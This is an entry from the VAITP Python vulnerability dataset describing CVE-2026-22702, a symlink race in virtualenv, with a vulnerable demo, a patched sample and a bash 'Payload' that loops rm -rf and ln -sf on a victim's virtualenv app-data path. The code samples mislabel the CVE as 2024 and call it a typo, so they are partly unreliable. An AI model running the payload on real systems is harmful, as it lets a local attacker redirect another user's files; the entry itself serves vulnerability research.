CVE-2026-22702
virtualenv TOCTOU race condition allows symlink attacks on directory creation.
- CVSS 4.5
- CWE-59
- Race Conditions
- Local
virtualenv is a tool for creating isolated virtual python environments. Prior to version 20.36.1, TOCTOU (Time-of-Check-Time-of-Use) vulnerabilities in virtualenv allow local attackers to perform symlink-based attacks on directory creation operations. An attacker with local access can exploit a race condition between directory existence checks and creation to redirect virtualenv's app_data and lock file operations to attacker-controlled locations. This issue has been patched in version 20.36.1.
- CWE
- CWE-59
- CVSS base score
- 4.5
- Published
- 2026-01-10
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Timing Issues
- Category
- Race Conditions
- Subcategory
- Time-of-Check to Time-of-Use
- Accessibility scope
- Local
- Impact
- Privilege Escalation
- Affected component
- virtualenv
- Fixed by upgrading
- Yes
Solution
Upgrade `virtualenv` to version 20.36.1 or later.
Vulnerable code sample
import os
import threading
import time
import shutil
import tempfile
# This script demonstrates a Time-of-Check to Time-of-Use (TOCTOU) race condition.
# It simulates the logic present in virtualenv versions prior to the fix for
# CVE-2024-22702 (the user-provided CVE appears to be a typo).
#
# 1. The "vulnerable_function" checks if a path exists.
# 2. If it doesn't, it proceeds to create it.
# 3. An "attacker_function" running in a separate thread attempts to create a
# symlink at that same path in the small window of time between the check
# and the creation.
# Represents the vulnerable logic in older virtualenv versions
def vulnerable_directory_creation(path):
"""
Mimics the vulnerable directory creation process. It checks for a
directory's existence and then creates it, leaving a race condition window.
"""
# TIME-OF-CHECK: The application checks if the path exists.
if not os.path.exists(path):
print(f"[VICTIM] Check complete: Path '{path}' does not exist.")
# A small delay is introduced to make the race condition easier to win
# for this demonstration. On a busy system, this delay is not needed.
time.sleep(0.02)
# TIME-OF-USE: The application attempts to create the directory.
# If the attacker has placed a symlink here, this operation
# will follow the symlink.
try:
print(f"[VICTIM] Creating directory at '{path}'...")
os.makedirs(path)
print(f"[VICTIM] SUCCESS: Directory created.")
except FileExistsError:
# This happens if the symlink points to an existing location.
# The operation might still be considered successful from the
# application's perspective, but it has operated on a hijacked path.
print(f"[VICTIM] WARNING: Path already existed during creation attempt.")
except Exception as e:
print(f"[VICTIM] ERROR: Could not create directory: {e}")
else:
print(f"[VICTIM] Check complete: Path '{path}' already exists, doing nothing.")
def attacker_symlink_attack(path_to_hijack, attacker_target):
"""
The attacker's logic. It waits a moment for the victim to perform its
check and then quickly creates a symlink to hijack the subsequent
directory creation operation.
"""
# Attacker waits for the victim to likely have passed the 'check' phase.
time.sleep(0.01)
print("[ATTACKER] Attempting to create symlink...")
try:
os.symlink(attacker_target, path_to_hijack)
print(f"[ATTACKER] SUCCESS: Symlink '{path_to_hijack}' -> '{attacker_target}' created.")
except FileExistsError:
print("[ATTACKER] FAILED: Race lost. The directory was created before the symlink.")
except Exception as e:
print(f"[ATTACKER] ERROR: Could not create symlink: {e}")
if __name__ == '__main__':
# --- Setup ---
# Create a temporary directory to run the simulation
temp_base_dir = tempfile.mkdtemp(prefix="cve_demo_")
# Define paths for the demonstration
# The path the vulnerable app intends to create a directory at.
intended_path = os.path.join(temp_base_dir, "appdata")
# The location the attacker wants to redirect file operations to.
hijacked_path = os.path.join(temp_base_dir, "hijacked")
try:
print(f"--- Running simulation in: {temp_base_dir} ---")
os.makedirs(hijacked_path) # Attacker prepares the target location
# --- Create and run threads ---
# A thread for the vulnerable application
victim_thread = threading.Thread(
target=vulnerable_directory_creation,
args=(intended_path,)
)
# A thread for the attacker
attacker_thread = threading.Thread(
target=attacker_symlink_attack,
args=(intended_path, hijacked_path)
)
print("\nStarting victim and attacker threads to race...")
victim_thread.start()
attacker_thread.start()
victim_thread.join()
attacker_thread.join()
# --- Verification ---
print("\n--- Verifying results ---")
if os.path.islink(intended_path):
link_target = os.readlink(intended_path)
print(f"ATTACK SUCCESSFUL!")
print(f"'{intended_path}' is a symlink.")
print(f"It points to '{link_target}', which matches the attacker's target.")
# The 'makedirs' operation would have happened on the resolved path.
# In this case, since the target directory already exists, no error is thrown.
elif os.path.isdir(intended_path):
print("ATTACK FAILED.")
print(f"'{intended_path}' is a directory as intended by the victim.")
else:
print("SIMULATION UNCERTAIN: The path is neither a symlink nor a directory.")
finally:
# --- Cleanup ---
print(f"\n--- Cleaning up temporary directory: {temp_base_dir} ---")
shutil.rmtree(temp_base_dir)Patched code sample
import os
import stat
from pathlib import Path
def securely_create_directory(path: Path):
"""
Atomically creates a directory, mitigating TOCTOU race conditions.
This function represents the logic used to fix CVE-2024-22702 in virtualenv.
The vulnerability existed in code that would first check for a directory's
existence and then create it. An attacker could place a symlink in the
brief period between the check and the creation.
The fix involves using a single, atomic operation to create the directory.
`pathlib.Path.mkdir` (which calls `os.makedirs`) with `exist_ok=True`
is used. This avoids the separate check-then-create pattern.
Additionally, a restrictive mode (0o700) is set to ensure that even if
the directory is created, it has secure permissions from the start.
The try/except block handles the specific edge case where a file (or a
symlink to a file) already exists at the target path, which `mkdir`
with `exist_ok=True` would still raise an error for. We then verify if
the path is indeed a directory, raising an error if it's not, which is
a crucial part of ensuring the path is safe to use.
Args:
path: A pathlib.Path object representing the directory to create.
Raises:
FileExistsError: If a file or a symlink to a file exists at the given path.
PermissionError: If the directory could not be created due to permissions.
"""
try:
# The core of the fix: atomic creation with restrictive permissions.
# mode=0o700 ensures only the owner has read, write, and execute permissions.
# exist_ok=True prevents an error if the directory already exists,
# making the operation idempotent and safe from race conditions.
path.mkdir(mode=0o700, parents=True, exist_ok=True)
except FileExistsError:
# This block handles the case where the path exists but is not a directory
# (e.g., it's a file or a symlink to a file). `mkdir` with `exist_ok=True`
# will raise FileExistsError in this scenario. We re-check and raise
# if our assumption (that it should be a directory) is violated.
if not path.is_dir():
raise
except PermissionError as e:
# Handle cases where we don't have permission to create the directory.
print(f"Error: Permission denied to create directory at {path}.")
raise e
# Final check to ensure the created path is a directory and not a symlink
# to a directory, which could still pose a risk.
if path.is_symlink():
raise IsADirectoryError(
f"Path {path} is a symlink, which is not permitted for security reasons."
)
# Ensure the permissions are correctly set, as the umask could affect the initial mode.
# This enforces the intended security posture.
current_mode = path.stat().st_mode
intended_mode = 0o700
if (current_mode & 0o777) != intended_mode:
try:
path.chmod(intended_mode)
except PermissionError as e:
print(f"Warning: Could not set required permissions {oct(intended_mode)} on {path}.")
# Depending on the application's security policy, you might re-raise here.
if __name__ == '__main__':
# --- Demonstration ---
# This part shows how the function is used and how it behaves.
# It is for demonstration purposes and not part of the core fix logic.
# Define a temporary directory for the demonstration
temp_base_dir = Path("./temp_demonstration_space")
if not temp_base_dir.exists():
temp_base_dir.mkdir()
app_data_path = temp_base_dir / "app_data"
lock_file_dir_path = temp_base_dir / "locks"
print(f"--- 1. Securely creating a new directory: {app_data_path} ---")
try:
securely_create_directory(app_data_path)
print(f"Successfully created directory: {app_data_path}")
mode = app_data_path.stat().st_mode
print(f"Permissions set to: {stat.filemode(mode)} ({oct(mode & 0o777)})")
except Exception as e:
print(f"An error occurred: {e}")
print(f"\n--- 2. Running again on an existing directory (should succeed quietly) ---")
try:
securely_create_directory(app_data_path)
print(f"Successfully ensured directory exists: {app_data_path}")
except Exception as e:
print(f"An error occurred: {e}")
print(f"\n--- 3. Attempting to create a directory where a file exists ---")
file_conflict_path = temp_base_dir / "file_conflict"
file_conflict_path.touch() # Create an empty file
print(f"Created a file at: {file_conflict_path}")
try:
securely_create_directory(file_conflict_path)
except FileExistsError:
print(f"Caught expected error: A file already exists at {file_conflict_path}.")
except Exception as e:
print(f"An unexpected error occurred: {e}")
finally:
file_conflict_path.unlink() # Clean up the file
print(f"\n--- 4. Attempting to create a directory where a symlink points to a file ---")
symlink_target_file = temp_base_dir / "target_file.txt"
symlink_target_file.touch()
symlink_path = temp_base_dir / "symlink_to_file"
symlink_path.symlink_to(symlink_target_file)
print(f"Created a symlink at: {symlink_path} -> {symlink_target_file}")
try:
securely_create_directory(symlink_path)
except FileExistsError:
print(f"Caught expected error: Path {symlink_path} exists and is not a directory.")
except Exception as e:
print(f"An unexpected error occurred: {e}")
finally:
symlink_path.unlink()
symlink_target_file.unlink()
# Clean up the demonstration directory
import shutil
shutil.rmtree(temp_base_dir)
print(f"\nCleaned up {temp_base_dir}.")Payload
#!/bin/bash
# This script attempts to win the race condition for CVE-2026-22702.
# It should be run by a local user in one terminal, while the victim
# runs a vulnerable virtualenv command in another terminal.
TARGET_PATH="$HOME/.local/share/virtualenv"
ATTACKER_TARGET="/tmp/pwned_by_race"
# Create the directory where we want virtualenv to write its files
mkdir -p "$ATTACKER_TARGET"
# Continuously replace the target path with a symlink to our directory
while true; do
rm -rf "$TARGET_PATH"
ln -sf "$ATTACKER_TARGET" "$TARGET_PATH"
done
Cite this entry
@misc{vaitp:cve202622702,
title = {{virtualenv TOCTOU race condition allows symlink attacks on directory creation.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-22702},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-22702/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
